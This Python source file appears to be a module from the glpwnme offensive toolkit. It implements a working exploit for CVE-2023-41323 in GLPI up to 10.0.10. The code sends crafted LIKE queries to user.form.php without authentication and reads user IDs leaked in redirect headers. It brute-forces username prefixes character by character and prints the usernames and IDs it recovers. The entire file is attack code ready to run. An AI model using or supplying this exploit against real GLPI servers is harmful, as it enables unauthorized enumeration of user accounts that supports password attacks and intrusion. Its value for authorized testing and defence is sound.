import time
import string
from http import HTTPStatus
from itertools import combinations
from urllib.parse import urlparse
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils

class CVE_2023_41323(GlpiExploit):
    """
    This CVE abuse an info leak on redirect for enumerating user

    @author JB Mesnard-Sense
    @cvss 3.0
    @name CVE_2023_41323
    """
    max_version = "10.0.10"
    _impacts = "Enum name and id of users (not exhaustive)"
    _privilege = "Unauthenticated"

    alphabet = string.ascii_lowercase + string.digits + '-.' # Am I missing char ? (2 parmi 39) = 741

    def __init__(self, glpi_session):
        """
        :param found_user: The dictionnary holding the collected datas
        :type found_user: Dict[int, str]
        """
        super().__init__(glpi_session)
        self.found_user = {}

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow to recover some user on glpi, their name and id.\n"
        infos += "It will only recover user that have a unique prefix.\n"
        infos += "[u]For instance:[/]\n - ab1 and ab2 will result in no match."
        infos += "\n - ab1 and ac1 will result in a finding.\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]username (optionnal)[/i]: The prefix from which to start enumerating usernames\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Enum users starting with ab[/]\n"
        infos += "--run -O username=ab\n"

        infos += "\n[grey66]# Try to enum users[/]\n"
        infos += "--run\n"

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def _get_user_id(self, name):
        """
        Start the enumeration of the user

        :return: The user id found, None if not found
        :rtype: int
        """
        res = self.get(f"/front/user.form.php?name[0]=LIKE&name[1]={name}", allow_redirects=False)
        location = res.headers.get("Location")
        if location:
            user_id = urlparse(location).query.split("=")[1]
            if user_id:
                return int(user_id)
        return None

    def _add_user_id(self, user_id, username):
        """
        Add user id in the self dictionnary
        """
        if user_id:
            Log.msg(f"Found id {user_id} for name: {username}")
            self.found_user[user_id] = username

    def _enum_user_with_prefix(self, current_name):
        """
        Enum the current user name
        """
        current = current_name
        ENUMERATING = True
        while ENUMERATING:
            for char in self.alphabet:
                Log.log(f"Trying {current}{char}      ", end="\r")
                user_id = self._get_user_id(current + char + "%")
                if user_id:
                    potential_user = self._get_user_id(current + char)
                    if potential_user:
                        self._add_user_id(potential_user, current + char)
                        ENUMERATING = False
                        break
                    else:
                        self._enum_user_with_prefix(current + char)
                        continue

            ENUMERATING = False


    def run(self, username=""):
        """
        Run the exploit on the target. By default it will try to enumerate all the
        usernames of the target instance.

        :param username: The prefix of the username to look for
        :type username: str

        :param max_length: The maximum length of a username
        :type max_length: Union[str, int]
        """
        prefix = username
        if username:
            Log.msg(f"Trying to enumerate username on the application starting with [blue]{prefix}[/blue]")
            self._add_user_id(self._get_user_id(username), username)
        else:
            Log.msg(f"Trying to enumerate username on the application")

        if prefix:
            self._enum_user_with_prefix(prefix)

        else:
            for char in self.alphabet:
                current_try = prefix + char
                self._enum_user_with_prefix(current_try)

        if self.found_user:
            Log.msg(f"Found {len(self.found_user)} users on the target")
            print(f"| id | name |")
            for user_id, username in self.found_user.items():
                print(f"| {user_id} | {username} |")
        else:
            Log.err(f"No user found")
